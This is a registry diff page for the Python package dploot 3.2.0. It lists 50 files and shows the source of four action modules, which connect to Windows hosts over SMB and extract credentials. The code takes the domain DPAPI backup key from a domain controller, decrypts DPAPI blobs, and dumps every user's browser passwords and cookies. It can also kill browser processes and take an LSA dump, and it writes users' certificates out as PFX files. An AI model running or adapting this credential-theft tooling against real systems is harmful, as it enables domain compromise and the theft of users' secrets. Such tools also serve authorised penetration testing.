dploot 3.2.0__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. dploot/__init__.py +0 -0
  2. dploot/action/__init__.py +0 -0
  3. dploot/action/backupkey.py +102 -0
  4. dploot/action/blob.py +167 -0
  5. dploot/action/browser.py +192 -0
  6. dploot/action/certificates.py +146 -0
  7. dploot/action/cng.py +129 -0
  8. dploot/action/credentials.py +132 -0
  9. dploot/action/machinecertificates.py +136 -0
  10. dploot/action/machinecng.py +120 -0
  11. dploot/action/machinecredentials.py +120 -0
  12. dploot/action/machinemasterkeys.py +117 -0
  13. dploot/action/machinetriage.py +158 -0
  14. dploot/action/machinevaults.py +127 -0
  15. dploot/action/masterkeys.py +200 -0
  16. dploot/action/mobaxterm.py +138 -0
  17. dploot/action/rdg.py +132 -0
  18. dploot/action/sccm.py +125 -0
  19. dploot/action/triage.py +187 -0
  20. dploot/action/vaults.py +132 -0
  21. dploot/action/wam.py +133 -0
  22. dploot/action/wifi.py +137 -0
  23. dploot/entry.py +98 -0
  24. dploot/lib/__init__.py +0 -0
  25. dploot/lib/consts.py +30 -0
  26. dploot/lib/crypto.py +415 -0
  27. dploot/lib/dpapi.py +302 -0
  28. dploot/lib/masterkey.py +75 -0
  29. dploot/lib/smb.py +517 -0
  30. dploot/lib/target.py +219 -0
  31. dploot/lib/utils.py +99 -0
  32. dploot/lib/wmi.py +61 -0
  33. dploot/triage/__init__.py +30 -0
  34. dploot/triage/backupkey.py +81 -0
  35. dploot/triage/browser.py +441 -0
  36. dploot/triage/certificates.py +444 -0
  37. dploot/triage/cng.py +165 -0
  38. dploot/triage/credentials.py +163 -0
  39. dploot/triage/masterkeys.py +279 -0
  40. dploot/triage/mobaxterm.py +653 -0
  41. dploot/triage/rdg.py +249 -0
  42. dploot/triage/sccm.py +302 -0
  43. dploot/triage/vaults.py +307 -0
  44. dploot/triage/wam.py +251 -0
  45. dploot/triage/wifi.py +424 -0
  46. dploot-3.2.0.dist-info/METADATA +865 -0
  47. dploot-3.2.0.dist-info/RECORD +50 -0
  48. dploot-3.2.0.dist-info/WHEEL +4 -0
  49. dploot-3.2.0.dist-info/entry_points.txt +3 -0
  50. dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
dploot/__init__.py ADDED
File without changes
File without changes
@@ -0,0 +1,102 @@
1
+ import argparse
2
+ import logging
3
+ from binascii import hexlify
4
+ import sys
5
+ from typing import Callable, Tuple
6
+
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.smb import DPLootSMBConnection
9
+ from dploot.triage.backupkey import BackupkeyTriage
10
+
11
+ NAME = "backupkey"
12
+
13
+
14
+ class BackupkeyAction:
15
+ def __init__(self, options: argparse.Namespace) -> None:
16
+ self.options = options
17
+ self.target = Target.from_options(options)
18
+
19
+ self.conn = None
20
+ self._is_admin = None
21
+ self.dce = None
22
+ self.outputfile = None
23
+ self.legacy = self.options.legacy
24
+
25
+ if self.options.outputfile is not None and self.options.outputfile != "":
26
+ self.outputfile = self.options.outputfile
27
+ else:
28
+ self.outputfile = "key.pvk"
29
+
30
+ def connect(self) -> None:
31
+ self.conn = DPLootSMBConnection(self.target)
32
+ if self.conn.connect() is None:
33
+ logging.error("Could not connect to %s" % self.target.address)
34
+ sys.exit(1)
35
+ if self.conn.local_session:
36
+ logging.error("Backup key is not implemented with LOCAL target.")
37
+ sys.exit(1)
38
+
39
+ def run(self) -> None:
40
+ self.connect()
41
+ logging.info(
42
+ "Connected to {} as {}\\{} {}\n".format(
43
+ self.target.address,
44
+ self.target.domain,
45
+ self.target.username,
46
+ ("(admin)" if self.is_admin else ""),
47
+ )
48
+ )
49
+ triage = BackupkeyTriage(target=self.target, conn=self.conn)
50
+ backupkey = triage.triage_backupkey()
51
+ if backupkey.backupkey_v1 is not None and self.legacy:
52
+ if not self.options.quiet:
53
+ print("Legacy key:")
54
+ print("0x%s" % hexlify(backupkey.backupkey_v1).decode("latin-1"))
55
+ print("\n")
56
+ logging.info("Exporting key to file {}".format(self.outputfile + ".key"))
57
+ open(self.outputfile + ".key", "wb").write(backupkey.backupkey_v1)
58
+ if not self.options.quiet:
59
+ print("[DOMAIN BACKUPKEY V2]")
60
+ backupkey.pvk_header.dump()
61
+ print(
62
+ "PRIVATEKEYBLOB:{%s}"
63
+ % (hexlify(backupkey.backupkey_v2).decode("latin-1"))
64
+ )
65
+ print("\n")
66
+ logging.critical(
67
+ f"Exporting domain backupkey to file {self.outputfile}"
68
+ )
69
+ open(self.outputfile, "wb").write(backupkey.backupkey_v2)
70
+
71
+ @property
72
+ def is_admin(self) -> bool:
73
+ if self._is_admin is not None:
74
+ return self._is_admin
75
+
76
+ self._is_admin = self.conn.is_admin()
77
+ return self._is_admin
78
+
79
+
80
+ def entry(options: argparse.Namespace) -> None:
81
+ a = BackupkeyAction(options)
82
+ a.run()
83
+
84
+
85
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
86
+ subparser = subparsers.add_parser(NAME, help="Backup Keys from domain controller")
87
+
88
+ group = subparser.add_argument_group("backupkey options")
89
+
90
+ group.add_argument(
91
+ "-outputfile",
92
+ action="store",
93
+ help=("Export keys to specific filename (default key.pvk)"),
94
+ )
95
+
96
+ group.add_argument(
97
+ "-legacy", action="store_true", help=("Get also backupkey v1 (legacy)")
98
+ )
99
+
100
+ add_target_argument_group(subparser)
101
+
102
+ return NAME, entry
dploot/action/blob.py ADDED
@@ -0,0 +1,167 @@
1
+ import argparse
2
+ import base64
3
+ import logging
4
+ import os
5
+ import sys
6
+ from typing import Callable, Tuple
7
+ from dploot.action.masterkeys import (
8
+ add_masterkeys_argument_group,
9
+ parse_masterkeys_options,
10
+ )
11
+
12
+ from impacket.dpapi import DPAPI_BLOB
13
+
14
+ from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
15
+ from dploot.lib.smb import DPLootSMBConnection
16
+ from dploot.lib.target import Target, add_target_argument_group
17
+ from dploot.lib.utils import dump_looted_files_to_disk, find_guid, find_sha1, handle_outputdir_option
18
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
19
+
20
+ NAME = "blob"
21
+
22
+
23
+ class BlobAction:
24
+ def __init__(self, options: argparse.Namespace) -> None:
25
+ self.options = options
26
+ self.target = Target.from_options(options)
27
+
28
+ self.conn = None
29
+ self._is_admin = None
30
+ self.outputdir = None
31
+ self.masterkeys = None
32
+ self.pvkbytes = None
33
+ self.passwords = None
34
+ self.nthashes = None
35
+
36
+ if not self.handle_blob_option(self.options.blob):
37
+ sys.exit(1)
38
+
39
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
40
+
41
+ if self.options.mkfile is not None:
42
+ try:
43
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
44
+ except Exception as e:
45
+ logging.error(str(e))
46
+ sys.exit(1)
47
+
48
+ if self.options.masterkey is not None:
49
+ guid, sha1 = self.options.masterkey.split(":")
50
+ self.masterkeys[Masterkey(
51
+ guid=find_guid(guid),
52
+ sha1=find_sha1(sha1),
53
+ )]
54
+
55
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
56
+ self.options, self.target
57
+ )
58
+
59
+ def connect(self) -> None:
60
+ self.conn = DPLootSMBConnection(self.target)
61
+ if self.conn.connect() is None:
62
+ logging.error("Could not connect to %s" % self.target.address)
63
+ sys.exit(1)
64
+
65
+ def run(self) -> None:
66
+ self.connect()
67
+ logging.info(
68
+ "Connected to {} as {}\\{} {}\n".format(
69
+ self.target.address,
70
+ self.target.domain,
71
+ self.target.username,
72
+ ("(admin)" if self.is_admin else ""),
73
+ )
74
+ )
75
+ if self.is_admin:
76
+ if self.masterkeys is None:
77
+
78
+ def masterkey_triage(masterkey):
79
+ masterkey.dump()
80
+
81
+ masterkeytriage = MasterkeysTriage(
82
+ target=self.target,
83
+ conn=self.conn,
84
+ pvkbytes=self.pvkbytes,
85
+ nthashes=self.nthashes,
86
+ passwords=self.passwords,
87
+ per_masterkey_callback=masterkey_triage
88
+ if not self.options.quiet
89
+ else None,
90
+ )
91
+ logging.info("Triage ALL USERS masterkeys\n")
92
+ self.masterkeys = masterkeytriage.triage_masterkeys()
93
+ print()
94
+ if self.outputdir is not None:
95
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
96
+
97
+ logging.info("Trying to decrypt DPAPI blob\n")
98
+ DPAPI_BLOB(self.blob).dump()
99
+ masterkey = find_masterkey_for_blob(self.blob, masterkeys=self.masterkeys)
100
+ if masterkey is not None:
101
+ cleartext = decrypt_blob(blob_bytes=self.blob, masterkey=masterkey, entropy=self.options.entropy if self.options.entropy != "" else None)
102
+ print("Data decrypted: %s" % cleartext)
103
+ else:
104
+ logging.info("Not an admin, exiting...")
105
+
106
+ @property
107
+ def is_admin(self) -> bool:
108
+ if self._is_admin is not None:
109
+ return self._is_admin
110
+
111
+ self._is_admin = self.conn.is_admin()
112
+ return self._is_admin
113
+
114
+ def handle_blob_option(self, blob_argument):
115
+ if os.path.isfile(blob_argument):
116
+ with open(blob_argument, "rb") as f:
117
+ self.blob = f.read()
118
+ return True
119
+ else:
120
+ try:
121
+ self.blob = base64.b64decode(blob_argument)
122
+ return True
123
+ except Exception:
124
+ logging.error(f"{blob_argument} does not seems to be a file nor a b64 encoded blob.")
125
+ return False
126
+
127
+ def entry(options: argparse.Namespace) -> None:
128
+ a = BlobAction(options)
129
+ a.run()
130
+
131
+
132
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
133
+ subparser = subparsers.add_parser(
134
+ NAME, help="Decrypt DPAPI blob. Can fetch masterkeys on target"
135
+ )
136
+
137
+ group = subparser.add_argument_group("blob options")
138
+
139
+ group.add_argument(
140
+ "-blob",
141
+ action="store",
142
+ required=True,
143
+ help=("Blob base64 encoded or in file"),
144
+ )
145
+
146
+ group.add_argument(
147
+ "-masterkey",
148
+ action="store",
149
+ help=("{GUID}:SHA1 masterkey"),
150
+ )
151
+
152
+ group.add_argument(
153
+ "-entropy",
154
+ action="store",
155
+ help=("Entropy value"),
156
+ )
157
+
158
+ group.add_argument(
159
+ "-mkfile",
160
+ action="store",
161
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
162
+ )
163
+
164
+ add_masterkeys_argument_group(group)
165
+ add_target_argument_group(subparser)
166
+
167
+ return NAME, entry
@@ -0,0 +1,192 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.browser import BrowserTriage, Cookie
14
+ from dploot.triage.cng import CngTriage
15
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
16
+
17
+ NAME = "browser"
18
+
19
+
20
+ class BrowserAction:
21
+ def __init__(self, options: argparse.Namespace) -> None:
22
+ self.options = options
23
+ self.target = Target.from_options(options)
24
+
25
+ self.conn = None
26
+ self._is_admin = None
27
+ self.outputdir = None
28
+ self.masterkeys = None
29
+ self.pvkbytes = None
30
+ self.passwords = None
31
+ self.nthashes = None
32
+
33
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
34
+
35
+ if self.options.mkfile is not None:
36
+ try:
37
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
38
+ except Exception as e:
39
+ logging.error(str(e))
40
+ sys.exit(1)
41
+
42
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
43
+ self.options, self.target
44
+ )
45
+
46
+ def connect(self) -> None:
47
+ self.conn = DPLootSMBConnection(self.target)
48
+ if self.conn.connect() is None:
49
+ logging.error("Could not connect to %s" % self.target.address)
50
+ sys.exit(1)
51
+
52
+ def run(self) -> None:
53
+ self.connect()
54
+ logging.info(
55
+ "Connected to {} as {}\\{} {}\n".format(
56
+ self.target.address,
57
+ self.target.domain,
58
+ self.target.username,
59
+ ("(admin)" if self.is_admin else ""),
60
+ )
61
+ )
62
+ if self.is_admin:
63
+ if self.masterkeys is None:
64
+
65
+ def masterkey_triage(masterkey):
66
+ masterkey.dump()
67
+
68
+ masterkeytriage = MasterkeysTriage(
69
+ target=self.target,
70
+ conn=self.conn,
71
+ pvkbytes=self.pvkbytes,
72
+ nthashes=self.nthashes,
73
+ passwords=self.passwords,
74
+ per_masterkey_callback=masterkey_triage
75
+ if not self.options.quiet
76
+ else None,
77
+ )
78
+ logging.info("Triage ALL USERS masterkeys\n")
79
+ self.masterkeys = masterkeytriage.triage_masterkeys()
80
+ if self.options.v20support:
81
+ self.masterkeys += masterkeytriage.triage_system_masterkeys()
82
+ print()
83
+ if self.outputdir is not None:
84
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
85
+
86
+ if self.options.kill_browser:
87
+ logging.info("Killing browsers")
88
+ for browser_process_name in ["chrome.exe", "msedge.exe", "brave.exe"]:
89
+ self.conn.perform_taskkill(process_name=browser_process_name)
90
+
91
+ def secret_callback(secret):
92
+ if not self.options.show_cookies and isinstance(secret, Cookie):
93
+ return
94
+ if self.options.quiet:
95
+ secret.dump_quiet()
96
+ else:
97
+ secret.dump()
98
+
99
+ cng_chromekey = None
100
+
101
+ if self.options.v20support:
102
+ triage = CngTriage(
103
+ target=self.target,
104
+ conn=self.conn,
105
+ masterkeys=self.masterkeys,
106
+ )
107
+ logging.info("Triage SYSTEM CNG files\n")
108
+
109
+ for cng_file in triage.triage_system_cng():
110
+ if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
111
+ logging.info("Found CNG Google ChromeKey1\n")
112
+ cng_chromekey = cng_file.decrypted_private_key
113
+
114
+ triage = BrowserTriage(
115
+ target=self.target,
116
+ conn=self.conn,
117
+ masterkeys=self.masterkeys,
118
+ per_secret_callback=secret_callback,
119
+ )
120
+ logging.info(
121
+ "Triage Browser Credentials%sfor ALL USERS\n"
122
+ % (" and Cookies " if self.options.show_cookies else " ")
123
+ )
124
+ triage.triage_browsers(
125
+ gather_cookies=self.options.show_cookies,
126
+ cng_chromekey=cng_chromekey,
127
+ bypass_shared_violation=self.options.bypass_shared_violation,
128
+ )
129
+ if self.outputdir is not None:
130
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
131
+ else:
132
+ logging.info("Not an admin, exiting...")
133
+
134
+ @property
135
+ def is_admin(self) -> bool:
136
+ if self._is_admin is not None:
137
+ return self._is_admin
138
+
139
+ self._is_admin = self.conn.is_admin()
140
+ return self._is_admin
141
+
142
+
143
+ def entry(options: argparse.Namespace) -> None:
144
+ a = BrowserAction(options)
145
+ a.run()
146
+
147
+
148
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
149
+ subparser = subparsers.add_parser(
150
+ NAME,
151
+ help="Dump users credentials and cookies saved in browser from local or remote target",
152
+ )
153
+
154
+ group = subparser.add_argument_group("browser options")
155
+
156
+ group.add_argument(
157
+ "-mkfile",
158
+ action="store",
159
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
160
+ )
161
+
162
+ add_masterkeys_argument_group(group)
163
+
164
+ group.add_argument(
165
+ "-show-cookies",
166
+ action="store_true",
167
+ help=("Output dumped cookies from browsers"),
168
+ )
169
+
170
+ group.add_argument(
171
+ "-bypass-shared-violation",
172
+ action="store_true",
173
+ help=("Will try to bypass Shared Violation Error with a silly esentutl trick"),
174
+ )
175
+
176
+ group.add_argument(
177
+ "-v20support",
178
+ action="store_true",
179
+ help=("Will dump v20 chromium credentials (will perform a LSA dump in form of reg save)"),
180
+ )
181
+
182
+ group.add_argument(
183
+ "-kill-browser",
184
+ action="store_true",
185
+ help=(
186
+ "Will try to kill browser's process. Usefull when Shared Violation Error"
187
+ ),
188
+ )
189
+
190
+ add_target_argument_group(subparser)
191
+
192
+ return NAME, entry
@@ -0,0 +1,146 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+ from dploot.action.masterkeys import (
6
+ add_masterkeys_argument_group,
7
+ parse_masterkeys_options,
8
+ )
9
+
10
+ from dploot.lib.smb import DPLootSMBConnection
11
+ from dploot.lib.target import Target, add_target_argument_group
12
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
+ from dploot.triage.certificates import CertificatesTriage
14
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
15
+
16
+ NAME = "certificates"
17
+
18
+
19
+ class CertificatesAction:
20
+ def __init__(self, options: argparse.Namespace) -> None:
21
+ self.options = options
22
+ self.target = Target.from_options(options)
23
+
24
+ self.conn = None
25
+ self._is_admin = None
26
+ self.outputdir = None
27
+ self.masterkeys = None
28
+ self.pvkbytes = None
29
+ self.passwords = None
30
+ self.nthashes = None
31
+
32
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
33
+
34
+ if self.options.mkfile is not None:
35
+ try:
36
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
37
+ except Exception as e:
38
+ logging.error(str(e))
39
+ sys.exit(1)
40
+
41
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
42
+ self.options, self.target
43
+ )
44
+
45
+ def connect(self) -> None:
46
+ self.conn = DPLootSMBConnection(self.target)
47
+ if self.conn.connect() is None:
48
+ logging.error("Could not connect to %s" % self.target.address)
49
+ sys.exit(1)
50
+
51
+ def run(self) -> None:
52
+ self.connect()
53
+ logging.info(
54
+ "Connected to {} as {}\\{} {}\n".format(
55
+ self.target.address,
56
+ self.target.domain,
57
+ self.target.username,
58
+ ("(admin)" if self.is_admin else ""),
59
+ )
60
+ )
61
+ if self.is_admin:
62
+ if self.masterkeys is None:
63
+
64
+ def masterkey_triage(masterkey):
65
+ masterkey.dump()
66
+
67
+ masterkeytriage = MasterkeysTriage(
68
+ target=self.target,
69
+ conn=self.conn,
70
+ pvkbytes=self.pvkbytes,
71
+ nthashes=self.nthashes,
72
+ passwords=self.passwords,
73
+ per_masterkey_callback=masterkey_triage
74
+ if not self.options.quiet
75
+ else None,
76
+ )
77
+ logging.info("Triage ALL USERS masterkeys\n")
78
+ self.masterkeys = masterkeytriage.triage_masterkeys()
79
+ print()
80
+ if self.outputdir is not None:
81
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
82
+
83
+ def certificate_callback(certificate):
84
+ if not self.options.dump_all and not certificate.clientauth:
85
+ return
86
+ if not self.options.quiet:
87
+ certificate.dump()
88
+ filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
89
+ logging.critical("Writting certificate to %s" % filename)
90
+ if not self.options.quiet:
91
+ print() # better outputing
92
+ with open(filename, "wb") as f:
93
+ f.write(certificate.pfx)
94
+
95
+ triage = CertificatesTriage(
96
+ target=self.target,
97
+ conn=self.conn,
98
+ masterkeys=self.masterkeys,
99
+ per_certificate_callback=certificate_callback,
100
+ )
101
+ logging.info("Triage Certificates for ALL USERS\n")
102
+ triage.triage_certificates()
103
+ if self.outputdir is not None:
104
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
105
+
106
+ else:
107
+ logging.info("Not an admin, exiting...")
108
+
109
+ @property
110
+ def is_admin(self) -> bool:
111
+ if self._is_admin is not None:
112
+ return self._is_admin
113
+
114
+ self._is_admin = self.conn.is_admin()
115
+ return self._is_admin
116
+
117
+
118
+ def entry(options: argparse.Namespace) -> None:
119
+ a = CertificatesAction(options)
120
+ a.run()
121
+
122
+
123
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
124
+ subparser = subparsers.add_parser(
125
+ NAME, help="Dump users certificates from local or remote target"
126
+ )
127
+
128
+ group = subparser.add_argument_group("certificates options")
129
+
130
+ group.add_argument(
131
+ "-mkfile",
132
+ action="store",
133
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
134
+ )
135
+
136
+ add_masterkeys_argument_group(group)
137
+
138
+ group.add_argument(
139
+ "-dump-all",
140
+ action="store_true",
141
+ help=("Dump also certificates not used for client authentication"),
142
+ )
143
+
144
+ add_target_argument_group(subparser)
145
+
146
+ return NAME, entry